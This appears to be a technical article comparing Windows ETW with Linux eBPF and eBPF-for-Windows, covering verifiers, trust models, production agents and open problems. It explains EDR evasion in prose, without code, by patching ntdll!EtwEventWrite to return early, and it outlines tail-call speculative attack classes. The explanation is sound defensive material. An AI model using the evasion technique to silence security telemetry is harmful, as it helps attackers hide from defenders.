The eBPF-for-Windows transliterator from verified BPF bytecode to portable C suitable for MSVC compilation. The output is a signed-driver source file, one C statement per BPF instruction, that can be compiled and signed through the same pipeline as any other kernel driver. The golden test corpus lives at `microsoft/ebpf-for-windows/tests/bpf2c_tests/expected` [@github-com-bpf2ctests-expected].
&lt;p&gt;Four things stand out in the excerpt. &lt;em&gt;One BPF instruction maps to one C statement&lt;/em&gt;; the &lt;code&gt;// EBPF_OP_*&lt;/code&gt; comments name the opcode, and the line below it is the equivalent C. The eBPF VM&apos;s eleven registers become eleven C &lt;code&gt;uint64_t&lt;/code&gt; locals; MSVC&apos;s optimizer assigns them to native registers in the final &lt;code&gt;.sys&lt;/code&gt;. The &lt;code&gt;#pragma code_seg(push, &quot;xdp&quot;)&lt;/code&gt; directive names the program section the same way &lt;code&gt;SEC(&quot;xdp&quot;)&lt;/code&gt; does on Linux. And helper calls dispatch through a runtime table -- &lt;code&gt;runtime_context-&amp;gt;helper_data[0].address(...)&lt;/code&gt; -- so the signed driver remains portable across helper-ABI changes.&lt;/p&gt;
&lt;p&gt;The result is a kernel module that is a signed driver in every Windows sense of the term: HVCI checks pass, Kernel Mode Code Integrity (KMCI) [@learn-microsoft-com-downloads-sysmon] is satisfied, the Authenticode chain validates. eBPF-for-Windows native mode does not invent a new in-kernel trust boundary. It composes with the one Windows already has.&lt;/p&gt;

flowchart LR
    A[&quot;Restricted C source&quot;]
    B[&quot;clang -target bpf&quot;]
    C[&quot;BPF bytecode&quot;]
    D[&quot;PREVAIL verifier -- (user mode)&quot;]
    E[&quot;bpf2c -- transliterator&quot;]
    F[&quot;Portable C&quot;]
    G[&quot;MSVC compile&quot;]
    H[&quot;Signed .sys driver&quot;]
    I[&quot;Windows kernel -- (HVCI / KMCI)&quot;]
    A --&amp;gt; B --&amp;gt; C --&amp;gt; D --&amp;gt; E --&amp;gt; F --&amp;gt; G --&amp;gt; H --&amp;gt; I
&lt;h3&gt;The verifier moved&lt;/h3&gt;
&lt;p&gt;The most consequential architectural choice in eBPF-for-Windows is not visible in the binary. PREVAIL does not run inside the kernel. It runs inside the user-mode &lt;code&gt;eBPFSvc.exe&lt;/code&gt; service, which orchestrates verification and the subsequent compile-and-sign pipeline. The kernel never sees an unverified BPF program. By the time anything enters the kernel, it is either a signed driver (native mode) or a JIT-produced buffer that has already passed verification in user space (JIT mode, on non-HVCI hosts).&lt;/p&gt;
&lt;p&gt;This is a deliberate divergence from Linux. Linux runs its verifier inside the kernel because the kernel is the only place that can prevent unprivileged user space from loading unsafe programs. Windows can move the verifier out of the kernel because the kernel-mode trust boundary -- &lt;em&gt;the thing that can run&lt;/em&gt; -- is already protected by code signing. The verifier becomes a &lt;em&gt;correctness&lt;/em&gt; check rather than a &lt;em&gt;safety&lt;/em&gt; check at the kernel boundary; safety at the boundary is enforced by HVCI.&lt;/p&gt;
&lt;h3&gt;Hook coverage as of 2026&lt;/h3&gt;
&lt;p&gt;The hook surface on Windows is narrower than Linux&apos;s. As of 2026, eBPF-for-Windows exposes XDP-class network hooks, BIND, SOCK_OPS, SOCK_ADDR, and process-creation and process-exit hooks via Windows Filtering Platform callouts plus a process hook surface. There is no full kprobe surface. There are no LSM-equivalent hooks. The project README [@github-com-for-windows] labels itself &quot;work-in-progress.&quot; The networking-subset claim in this article is not marketing softening; it is the actual hook list.&lt;/p&gt;

The naive model of cross-OS eBPF says: same bytecode runtime, runs on both kernels. The actual model is more subtle and more interesting.&lt;p&gt;The bytecode is portable because both verifiers accept the same instruction encoding, now standardized at IETF as RFC 9669 [@rfc-editor-org-rfc-rfc9669html]. The verifier is portable because PREVAIL is an abstract interpreter that does not depend on Linux-specific kernel data structures. The &lt;em&gt;runtime&lt;/em&gt; is not portable: Linux runs verified bytecode through its in-kernel JIT; Windows transliterates verified bytecode to C and compiles it into a signed driver.&lt;/p&gt;
&lt;p&gt;So the cross-platform abstraction is the verifier, not the runtime. PREVAIL is the contract; each OS lifts verified bytecode into its own trust model. Linux trusts the verifier&apos;s output enough to JIT it in kernel mode; Windows distrusts in-kernel dynamic code by policy and lifts the verified bytecode out through a signed-driver compile. The portability boundary moved from &quot;same VM&quot; to &quot;same static analysis,&quot; and that is the architectural insight that makes the project work.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The runtime is not the cross-platform abstraction. The verifier is. PREVAIL is the contract; each OS lifts verified bytecode into its own trust model -- in-kernel JIT on Linux, signed-driver compile on Windows. eBPF-for-Windows is not &quot;same kernel hook, different OS&quot;; it is &quot;same bytecode contract, different OS-specific lifting.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cross-OS eBPF works for the networking subset today. The general kernel observability case -- arbitrary kprobes, full LSM hooks, deep process introspection -- is still Linux-only because the &lt;em&gt;hooks themselves&lt;/em&gt; are Linux-internal. eBPF-for-Windows is a real convergence, but it is a &lt;em&gt;subset&lt;/em&gt; convergence. Section 7 zooms out and compares the two designs across the full set of dimensions practitioners actually use to choose.&lt;/p&gt;
&lt;h2&gt;7. Head-to-Head: Performance and Trust Models&lt;/h2&gt;
&lt;p&gt;Two designs. One emits, one computes. Practitioners need to know what each one costs, where each one&apos;s edges cut, and what attack classes each design enables. The right form for that comparison is a table.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;ETW&lt;/th&gt;
&lt;th&gt;Linux eBPF&lt;/th&gt;
&lt;th&gt;eBPF for Windows&lt;/th&gt;
&lt;th&gt;DTrace&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;In-kernel filter language&lt;/td&gt;
&lt;td&gt;None (level + keyword mask only)&lt;/td&gt;
&lt;td&gt;Verified bytecode&lt;/td&gt;
&lt;td&gt;Verified bytecode&lt;/td&gt;
&lt;td&gt;D scripting language&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-kernel aggregation&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Maps (per-CPU and shared)&lt;/td&gt;
&lt;td&gt;Maps&lt;/td&gt;
&lt;td&gt;Aggregations primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Producer per-event cost&lt;/td&gt;
&lt;td&gt;Constant: format + memcpy to per-CPU buffer&lt;/td&gt;
&lt;td&gt;JIT-compiled native code at hook&lt;/td&gt;
&lt;td&gt;JIT or signed-driver call at hook&lt;/td&gt;
&lt;td&gt;Probe handler call&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verifier&lt;/td&gt;
&lt;td&gt;Driver signing only&lt;/td&gt;
&lt;td&gt;Linux in-kernel heuristic verifier&lt;/td&gt;
&lt;td&gt;PREVAIL in user mode + KMCI&lt;/td&gt;
&lt;td&gt;None (D is interpreted, safe-by-construction)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verifier soundness incidents&lt;/td&gt;
&lt;td&gt;Not applicable&lt;/td&gt;
&lt;td&gt;4 widely-disclosed CVEs (2020-2023)&lt;/td&gt;
&lt;td&gt;None disclosed&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hook coverage&lt;/td&gt;
&lt;td&gt;Universal across Windows API surface&lt;/td&gt;
&lt;td&gt;Universal: kprobe, uprobe, tracepoint, XDP, TC, LSM, sched&lt;/td&gt;
&lt;td&gt;XDP, BIND, SOCK_OPS, SOCK_ADDR, process&lt;/td&gt;
&lt;td&gt;Solaris/BSD/macOS provider set&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-platform&lt;/td&gt;
&lt;td&gt;Windows only&lt;/td&gt;
&lt;td&gt;Linux only&lt;/td&gt;
&lt;td&gt;Source-compatible with Linux subset&lt;/td&gt;
&lt;td&gt;Solaris, FreeBSD, macOS (legacy)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Transport&lt;/td&gt;
&lt;td&gt;Per-CPU ring buffer, .etl files&lt;/td&gt;
&lt;td&gt;Ringbuf, perf_event_array, maps&lt;/td&gt;
&lt;td&gt;Ringbuf, maps&lt;/td&gt;
&lt;td&gt;Per-CPU buffers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust model&lt;/td&gt;
&lt;td&gt;Manifest registration + driver signing&lt;/td&gt;
&lt;td&gt;Verifier + CAP_BPF + CAP_PERFMON&lt;/td&gt;
&lt;td&gt;Verifier + HVCI + driver signing&lt;/td&gt;
&lt;td&gt;Privilege check + safe-by-construction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Adoption pattern&lt;/td&gt;
&lt;td&gt;Defender, Sysmon, CrowdStrike, SentinelOne, Carbon Black&lt;/td&gt;
&lt;td&gt;Cilium, Falco, Tetragon, Tracee, Pixie, Sysmon for Linux&lt;/td&gt;
&lt;td&gt;Pre-production; Azure test deployments&lt;/td&gt;
&lt;td&gt;Solaris/macOS legacy + bpftrace via inspiration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best suited for&lt;/td&gt;
&lt;td&gt;Forensic capture across the entire Windows API surface&lt;/td&gt;
&lt;td&gt;Hot-path filtering and aggregation with arbitrary kernel hooks&lt;/td&gt;
&lt;td&gt;Cross-platform networking observability&lt;/td&gt;
&lt;td&gt;Interactive debugging on Solaris-lineage systems&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;The asymptotic argument&lt;/h3&gt;
&lt;p&gt;Two designs can be compared asymptotically. ETW carries N events of average size S; the kernel-to-user wire cost is Omega(NS) -- the unavoidable lower bound for streaming N events. eBPF can reduce that to O(M) where M is the aggregation size, for workloads that aggregate before the events cross the boundary. The bpftrace histogram from section 4 is the concrete example: &lt;code&gt;vfs_read&lt;/code&gt; can fire ten million times per second while the user-side bandwidth is zero, because the per-CPU histogram never crosses the boundary until print time.&lt;/p&gt;
&lt;p&gt;The asymmetry is the entire reason eBPF makes sense for high-frequency telemetry. It is also the reason every cloud-native observability tool from 2018 onward is on eBPF. When the producer rate exceeds the user-space consumption rate, you do not have a choice: you either drop events or aggregate them in-kernel. ETW can drop. Only eBPF can aggregate.&lt;/p&gt;
&lt;h3&gt;The tail-call attack class&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;bpf_tail_call(ctx, &amp;amp;prog_array, index)&lt;/code&gt; is powerful and its power has structural consequences. From the BPF trampoline v3 cover letter [@lore-kernel-org-1-astkernelorg-2], the kernel team is explicit that the trampoline was designed in part as a &lt;em&gt;replacement&lt;/em&gt; for tail-call-based chaining: &lt;em&gt;&quot;In many cases it can be used as a replacement for bpf_tail_call-based program chaining.&quot;&lt;/em&gt; The motivation is structural -- there are three attack classes implicit in the tail-call mechanism, and the trampoline avoids them.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Branch-target injection on the tail-call dispatcher.&lt;/em&gt; Pre-mitigation kernels exposed an indirect branch from kernel mode -- the dispatcher selecting its target from a user-controllable &lt;code&gt;prog_array&lt;/code&gt; index. That is exactly the shape of a Spectre-v2 gadget. Mitigation: retpolined dispatcher and the BPF trampoline replacement that avoids the indirect branch entirely.The qualitative reason fentry beats kprobe is not a benchmark; it is the avoidance of a retpoline. The v3 patch cover letter spells this out: &lt;em&gt;&quot;To avoid the high cost of retpoline the attached BPF programs are called directly.&quot;&lt;/em&gt; Real numbers vary by microarchitecture, retpoline implementation, and the rest of the kernel-build configuration, but the structural reason is the same on every machine.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Recursion-bound bypass.&lt;/em&gt; The 33-call cap protects the verifier&apos;s termination proof for a single program from being bypassed by chaining, but it is a per-execution counter. A sequence of attached programs at different attach points can still produce arbitrary aggregate work. The mitigation lives in per-event scheduling, not in the verifier.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Speculative type confusion.&lt;/em&gt; The verifier proves a single program&apos;s register-type invariants. The target of a tail call is selected at runtime from a map, so speculative execution can execute a different program under the calling program&apos;s type-state. Mitigation: indirect-call hardening shared with the rest of the kernel.&lt;/p&gt;

flowchart LR
    A[&quot;Calling BPF program&quot;]
    B[&quot;bpf_tail_call(ctx, &amp;amp;arr, idx)&quot;]
    C[&quot;JIT dispatcher -- (indirect jump)&quot;]
    D{&quot;Map slot at idx&quot;}
    E[&quot;Target BPF program&quot;]
    F[&quot;Speculative path -- (wrong target)&quot;]
    G[&quot;Retpoline / BPF trampoline -- (direct call)&quot;]
    A --&amp;gt; B --&amp;gt; C --&amp;gt; D
    D -- correct --&amp;gt; E
    D -. speculative .-&amp;gt; F
    G -. mitigation .-&amp;gt; C
&lt;h3&gt;The ETW user-mode bypass&lt;/h3&gt;
&lt;p&gt;ETW has its own structural attack class, mentioned in section 3 and worth restating in the trust-model context. A process that wants to silence its own ETW emissions can patch &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; to a &lt;code&gt;ret&lt;/code&gt; instruction in its own address space. The kernel buffer never sees the event. EDR vendors monitor for this integrity violation out of band, and use the patch itself as a high-confidence detection signal.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; ETW&apos;s emission path runs in the calling process&apos;s own address space. A process that wants to hide its activity can patch the &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; thunk to &lt;code&gt;ret&lt;/code&gt;, silencing emissions before they reach the kernel buffer. EDR vendors monitor for this integrity violation out of band, and treat the patch as a detection in its own right. The deeper question is whether any user-mode emission primitive can be tamper-resistant under hostile user-mode code. The current answer is &quot;no&quot;: the mitigation has been to move the trust boundary into the kernel, via PPL, the kernel-only Threat-Intelligence provider, and (on Linux) LSM hooks that observe &lt;code&gt;mprotect&lt;/code&gt; and image-load operations directly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Trust models, side by side&lt;/h3&gt;
&lt;p&gt;ETW trusts manifest registration plus Code Integrity for kernel drivers. The kernel only emits events; the only adversary-controllable surface is the user-mode provider, and the integrity-violation tell catches the obvious attack.&lt;/p&gt;
&lt;p&gt;Linux eBPF trusts the verifier plus &lt;code&gt;CAP_BPF&lt;/code&gt; and &lt;code&gt;CAP_PERFMON&lt;/code&gt;. The verifier is the kernel-mode safety boundary; capabilities gate who can load programs at all. Both have been the source of soundness CVEs and exploitation paths. Defense in depth: unprivileged eBPF off by default since 5.16, hardening of the indirect-call dispatcher, ongoing verifier work.&lt;/p&gt;
&lt;p&gt;eBPF for Windows trusts PREVAIL plus HVCI driver signing. The verifier runs in user mode; the kernel only ever sees a signed driver or a JIT-emitted buffer that has already passed the verifier. The composition is &lt;em&gt;strictly more conservative&lt;/em&gt; than Linux eBPF, because it stacks the verifier on top of the signing model rather than replacing it. Microsoft is using the Windows kernel-mode trust mechanism &lt;em&gt;and&lt;/em&gt; adding the eBPF verifier to it, not choosing between them.&lt;/p&gt;
&lt;p&gt;The next layer up from the kernel substrate is the consumer layer -- the agents and SIEM pipelines practitioners actually ship. That production stack is what determines which substrate practitioners reach for first.&lt;/p&gt;
&lt;h2&gt;8. Production Adoption: The Agent Layer&lt;/h2&gt;
&lt;p&gt;The substrate matters because the consumer stack does. On Linux, eBPF is the foundation of every serious cloud-native security and observability project. On Windows, ETW is the same. The portable subset is small but real, and it is growing.&lt;/p&gt;
&lt;h3&gt;The Linux side&lt;/h3&gt;
&lt;p&gt;Cilium [@cilium-io] is the dominant eBPF-based networking project, CNCF-graduated [@falco-org-docs] and shipping Kubernetes cluster networking, NetworkPolicy enforcement, and a service mesh implementation. Falco [@falco-org], originally created by Sysdig and now CNCF-graduated, provides eBPF-based runtime threat detection driven by a rules engine. Tetragon [@tetragon-io-docs-overview], a Cilium subproject, attaches eBPF programs to kprobes and LSM hooks for in-kernel enforcement -- not just observation but the ability to block. Tracee [@github-com-aquasecurity-tracee] from Aqua Security is an eBPF runtime security tool. Pixie [@docs-px-dev], originally Pixie Labs and now under New Relic, uses eBPF for auto-instrumentation of services running in Kubernetes.&lt;/p&gt;
&lt;p&gt;Sysmon for Linux [@github-com-microsoft-sysmonforlinux] is the most architecturally interesting member of the list. Microsoft, the company that built ETW and Sysmon, ported Sysmon to Linux by replacing the ETW back end with eBPF kprobes via the &lt;code&gt;SysinternalsEBPF&lt;/code&gt; library. The XML configuration schema and Event IDs are preserved, so SOC analysts see the same channel from either OS. It is the production demonstration that ETW and eBPF can be made surface-equivalent to a consumer.&lt;/p&gt;
&lt;h3&gt;The Windows side&lt;/h3&gt;
&lt;p&gt;Sysmon [@learn-microsoft-com-downloads-sysmon] is the canonical ETW consumer reference design, authored by Mark Russinovich and Thomas Garnier and free from Microsoft. Microsoft Defender for Endpoint [@learn-microsoft-com-defender-endpoint] is the commercial Microsoft EDR product, ETW-driven and cloud-connected. CrowdStrike Falcon, SentinelOne, and Carbon Black are the major third-party EDRs, all built on ETW. krabsetw [@github-com-microsoft-krabsetw] is Microsoft&apos;s C++ ETW consumer library; the &lt;code&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/code&gt; package is the .NET equivalent.&lt;/p&gt;
&lt;h3&gt;The toolchain layer&lt;/h3&gt;
&lt;p&gt;The eBPF world comes with a toolchain that does not have a direct ETW counterpart. &lt;code&gt;libbpf&lt;/code&gt; [@github-com-libbpf-libbpf] is the canonical C library for loading and managing eBPF programs. &lt;code&gt;bpftool&lt;/code&gt; [@github-com-libbpf-bpftool] is the inspection utility. &lt;code&gt;BCC&lt;/code&gt; [@github-com-iovisor-bcc] is the older Python-binding toolkit. &lt;code&gt;bpftrace&lt;/code&gt; [@github-com-iovisor-bpftrace] is the DSL inspired by DTrace. &lt;code&gt;cilium/ebpf&lt;/code&gt; [@github-com-cilium-ebpf] is the Go library; &lt;code&gt;aya&lt;/code&gt; [@github-com-rs-aya] and &lt;code&gt;libbpf-rs&lt;/code&gt; [@github-com-libbpf-rs] are the Rust libraries. The toolchain coverage tells you something about the substrate: a Go developer can write an eBPF program and have it loaded by their existing service binary, because the load-verify-attach lifecycle has a Go binding.&lt;/p&gt;
&lt;p&gt;ETW has its own toolchain -- &lt;code&gt;tracerpt.exe&lt;/code&gt;, Windows Performance Analyzer, BenchmarkDotNet, krabsetw -- but the toolchain is shaped around &lt;em&gt;consuming&lt;/em&gt; events, not around emitting programs into the kernel. The asymmetry of the toolchains mirrors the asymmetry of the substrates.&lt;/p&gt;
&lt;h3&gt;The decision guide&lt;/h3&gt;

**Windows EDR or building on Microsoft Defender for Endpoint.** Use ETW plus Sysmon plus the `Microsoft-Windows-Threat-Intelligence` provider. eBPF for Windows is not yet a substitute for Defender-grade kernel telemetry; the hook surface is too narrow.&lt;p&gt;&lt;strong&gt;Linux runtime-security or cluster networking.&lt;/strong&gt; Use eBPF. Pick &lt;code&gt;libbpf&lt;/code&gt; or &lt;code&gt;cilium/ebpf&lt;/code&gt; for the language binding. Attach LSM hooks for enforcement; fentry for observability. The verifier will fight you; that is expected.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cross-platform networking observability with one source surface.&lt;/strong&gt; Use eBPF for Windows and Linux eBPF together, restricted to the XDP, SOCK_ADDR, SOCK_OPS, and BIND hooks. The Linux source compiles unchanged on Windows for this subset.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Forensic capture across the full Windows API surface.&lt;/strong&gt; Use ETW into &lt;code&gt;.etl&lt;/code&gt; files, analyzed in Windows Performance Analyzer. Nothing else covers that breadth on Windows.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Sysmon-for-Linux case study is the cleanest practical justification for the abstract-surface convergence. If your SIEM consumes Sysmon XML and matches on Event ID and field, you can run a fleet of Windows hosts on ETW and Linux hosts on eBPF and the SIEM will not know the difference. The substrate is invisible at the consumer&apos;s contract; what matters is that the contract is preserved across the back-end change. This is the production realization of the engineering pattern -- different mechanisms, identical schemas -- that the rest of the article has been describing in architectural terms.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The consumer stack has converged at the surface layer: XML configs, Event IDs, EDR vendor APIs. The substrate has not, and the open problems in the next section are what stands in the way.&lt;/p&gt;
&lt;h2&gt;9. Open Problems and the Frontier&lt;/h2&gt;
&lt;p&gt;What can we not do yet? Four open problems will shape the next five years of kernel observability.&lt;/p&gt;
&lt;h3&gt;9.1 Verifier-driven false rejection&lt;/h3&gt;
&lt;p&gt;Programs that PREVAIL and a human can both prove safe still get rejected by the Linux verifier, which returns the cryptic &lt;em&gt;&quot;verifier complexity limit reached&quot;&lt;/em&gt; error. EDR vendors end up fighting the verifier rather than writing the program they want. The workarounds are real and ugly: &lt;code&gt;__attribute__((noinline))&lt;/code&gt; annotations to force the compiler to emit function boundaries the verifier can prune around, explicit bound assertions that re-derive properties the compiler already knows, &lt;code&gt;bpf_loop()&lt;/code&gt; to externalize loops the verifier cannot trace. The HotOS 2023 thesis is exactly that this is not a bug -- it is a property of any heuristic verifier under the soundness-completeness-scalability triangle. The completeness leg is the one the Linux verifier gives up first, every time.&lt;/p&gt;
&lt;p&gt;The frontier here is twofold. On one side, the verifier is becoming more capable: bounded loops, &lt;code&gt;bpf_for_each_map_elem&lt;/code&gt;, kfuncs, and the trampoline-based attach mechanisms have all expanded what the verifier can prove. On the other side, PREVAIL&apos;s polynomial-time abstract-interpretation approach represents an alternative architectural lineage. Neither approach removes the underlying undecidability. Both make the rejection threshold higher.&lt;/p&gt;
&lt;h3&gt;9.2 Cross-OS eBPF ABI&lt;/h3&gt;
&lt;p&gt;The eBPF Foundation&apos;s RFC 9669 [@rfc-editor-org-rfc-rfc9669html], published as an IETF Independent Submission in October 2024, standardized the &lt;em&gt;instruction set architecture&lt;/em&gt; for BPF programs. The RFC describes the 64-bit ISA, the encoding of instructions, the memory model, and the verifier&apos;s basic obligations. It is the cleanest cross-OS contract eBPF has ever had.&lt;/p&gt;
&lt;p&gt;What the RFC does &lt;em&gt;not&lt;/em&gt; standardize: helpers, map types, and hook semantics. Those remain Linux-defined-in-practice. The eBPF-for-Windows helper set is a subset, with extensions for Windows-specific concepts. The FreeBSD and illumos ports have their own subsets. A single observability agent that runs everywhere needs more than a standardized ISA; it needs a standardized helper API and a standardized hook taxonomy. Today, EDR vendors writing cross-OS agents ship two distinct programs that share a build system and not much else.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; RFC 9669 is the ISA standard. It defines what BPF bytecode looks like and what the verifier must check. It does not define which helpers a program can call, what the map types are, or what hooks the program can attach to. Those are the parts that vary between Linux, Windows, and the BSDs. Standardizing them is more of a committee problem than a research problem -- a meaningful subset is achievable; a full superset probably is not.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;9.3 ETW evasion at the trust boundary&lt;/h3&gt;
&lt;p&gt;The user-mode &lt;code&gt;EtwEventWrite&lt;/code&gt; patching attack class is roughly 2020-vintage but has not gone away. The kernel-emitted &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; provider is the current best mitigation: kernel signals cannot be patched from user mode, so an attacker who silences user-mode emissions still trips kernel-only signals on &lt;code&gt;mprotect&lt;/code&gt;, image load, and remote thread creation.&lt;/p&gt;
&lt;p&gt;The deeper structural question is whether any user-mode primitive can ever be tamper-resistant under hostile user-mode code. The short answer is no, which is why the answer keeps moving the trust boundary into the kernel -- through PPL, through LSM, through signed drivers. On Linux, the same pattern shows up: hostile-user-mode-resistant telemetry must run inside the kernel, which is why the LSM hooks are the part of the eBPF hook surface that matters most for EDR.&lt;/p&gt;
&lt;h3&gt;9.4 Hot-path overhead at scale&lt;/h3&gt;
&lt;p&gt;Production environments routinely run Falco, Cilium, and a vendor EDR on the same kernel, each attaching probes to the same hook. The marginal cost of an eBPF kprobe on a five-million-events-per-second syscall is not zero, and the cost compounds non-linearly when three different agents attach to the same hook with three different programs.&lt;/p&gt;
&lt;p&gt;The current partial mitigations are real. &lt;code&gt;fentry&lt;/code&gt;/&lt;code&gt;fexit&lt;/code&gt; plus the BPF trampoline removed the per-attach trap-frame cost. &lt;code&gt;kprobe.multi&lt;/code&gt;, added in Linux 5.18, lets a single program attach to multiple functions with one trampoline. BPF-link iteration lets one agent observe what another has attached. But none of these compose perfectly: three different vendors with three different agents end up with three different trampolines on the same function. The structural fix is &lt;em&gt;trampoline sharing&lt;/em&gt;, and the implementation is attach-type-specific.The multi-agent attach problem is the eBPF version of a familiar systems issue: when N independent consumers each install their own instrumentation at the same point, the cost is N times the cost of one. Linux has solved this once for kprobes (with &lt;code&gt;kprobe.multi&lt;/code&gt;) and is solving it again for the BPF trampoline. Whether the same pattern can be made cheap for fentry attaches across LSM hooks is an open implementation question.&lt;/p&gt;
&lt;p&gt;The frontier of kernel observability is not &quot;build a new substrate.&quot; It is &quot;make the existing substrates compose under multi-tenant production load.&quot;&lt;/p&gt;
&lt;h2&gt;10. Two Generations&lt;/h2&gt;
&lt;p&gt;Return to the SOC analyst from section 1. The Sysmon Operational channel looks the same on both hosts. Now you know why -- and also why the similarity is a deliberate engineering choice rather than a coincidence.&lt;/p&gt;
&lt;p&gt;ETW is mature, has full Windows coverage, is emission-only. It is a &lt;em&gt;catalog&lt;/em&gt; of events. Every Windows subsystem registers a provider, every provider declares a manifest, every event has a stable schema. A consumer that knows the manifest knows what to expect. The trust boundary is the kernel-mode driver signing model. The cost is that aggregation, sampling, and filtering all happen in user space, after the event has crossed the boundary.&lt;/p&gt;
&lt;p&gt;eBPF is programmable, has filter and aggregation in-kernel, has a verifier. It is a &lt;em&gt;language&lt;/em&gt; for asking questions of the kernel, not a catalog of pre-defined answers. The trust boundary is the verifier, which is a research-grade static analyzer running as kernel code. Linux&apos;s verifier shipped four widely-disclosed soundness bugs in four years. PREVAIL trades that soundness leg for a more conservative completeness story. The trade-offs are not finished.&lt;/p&gt;
&lt;p&gt;eBPF-for-Windows is the convergence experiment. The native mode -- PREVAIL plus &lt;code&gt;bpf2c&lt;/code&gt; plus MSVC plus a signed &lt;code&gt;.sys&lt;/code&gt; driver -- is the first cross-OS-portable kernel-observability primitive. As of 2026 it covers a networking subset of hooks, not the full Linux surface. That gap is not architectural; it is a list of hooks Microsoft has not yet exposed. The pattern is generalizable: cross-OS observability lives in the verifier, not in the runtime, and each OS lifts verified bytecode into its own trust model.&lt;/p&gt;
&lt;p&gt;The generation gap is literal. ETW (2000) is an event bus. eBPF (2014) is a programmable kernel substrate. Both will still ship in 2035. Both will still be the right answer for some workloads. The interesting work for the next decade is in the convergence layer -- helper-API standardization, hook-point taxonomy alignment, verifier completeness -- and in the multi-tenant production engineering that makes ten different agents on one kernel cheaper than ten times one agent.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Kernel observability has matured from event emission to programmable kernel computation. That generation gap is why eBPF-for-Windows -- a small, work-in-progress project -- is one of the more architecturally significant operating-system-telemetry events of the last decade. The portable abstraction is not the runtime. It is the static analyzer.&lt;/p&gt;
&lt;/blockquote&gt;

No. As of 2026, eBPF for Windows [@github-com-for-windows] covers a networking-heavy subset of hooks -- XDP, BIND, SOCK_OPS, SOCK_ADDR, and process creation and exit -- and is not yet a substitute for Defender-grade kernel telemetry. ETW remains the canonical Windows observability substrate. The convergence between the two is real for the networking subset, and is the work-in-progress for the rest of the surface.

Because it is a heuristic abstract interpreter on a Turing-complete ISA, and Rice&apos;s theorem says no such verifier can be simultaneously sound, complete, and decidable. Real verifiers ship with all three approximately, and the soundness leg fails first when state pruning loses information at a join point. CVE-2023-2163 [@nvd-nist-gov-2023-2163], CVE-2022-23222 [@nvd-nist-gov-2022-23222], CVE-2021-3490 [@nvd-nist-gov-2021-3490], and CVE-2020-8835 [@nvd-nist-gov-2020-8835] are all instances of that pattern.

For the networking subset (XDP, SOCK_ADDR, SOCK_OPS, BIND), yes -- eBPF for Windows [@github-com-for-windows] is source-compatible with Linux eBPF for those hooks. For arbitrary kprobes or LSM hooks, no -- those hooks are Linux-internal and eBPF for Windows does not expose equivalents. Cross-platform agents typically ship two binaries that share a build system.

Since Linux 5.16 (March 2022) [@kernel-org-bpf-indexhtml], `kernel.unprivileged_bpf_disabled=1` is the kernel default. Production EDRs run with `CAP_BPF` plus `CAP_PERFMON` or root. Leaving unprivileged eBPF enabled was the entry point for several verifier CVEs, so the conservative default is correct.

A kprobe is a runtime breakpoint mechanism: the kernel patches a trap instruction at the target address, and the trap handler invokes the attached eBPF program. fentry uses the BPF trampoline [@lore-kernel-org-1-astkernelorg] -- a small JIT-emitted dispatcher that calls attached BPF programs with a direct call, avoiding the retpoline penalty an indirect dispatch would pay on Spectre-mitigated kernels. Starovoitov&apos;s framing: *&quot;practically zero overhead&quot;* for fentry, relative to the kprobe trap-frame cost.

No. ETW sessions filter by provider, keyword, and level. That is it. Any per-event computation -- counting, sampling, stack-trace folding, downsampling -- runs in user mode on the consumer side, after the event has crossed the kernel-user boundary. The lack of an in-kernel filter language is the structural reason eBPF can do things ETW cannot, like aggregate ten million `vfs_read` calls per second into a histogram without saturating the wire.

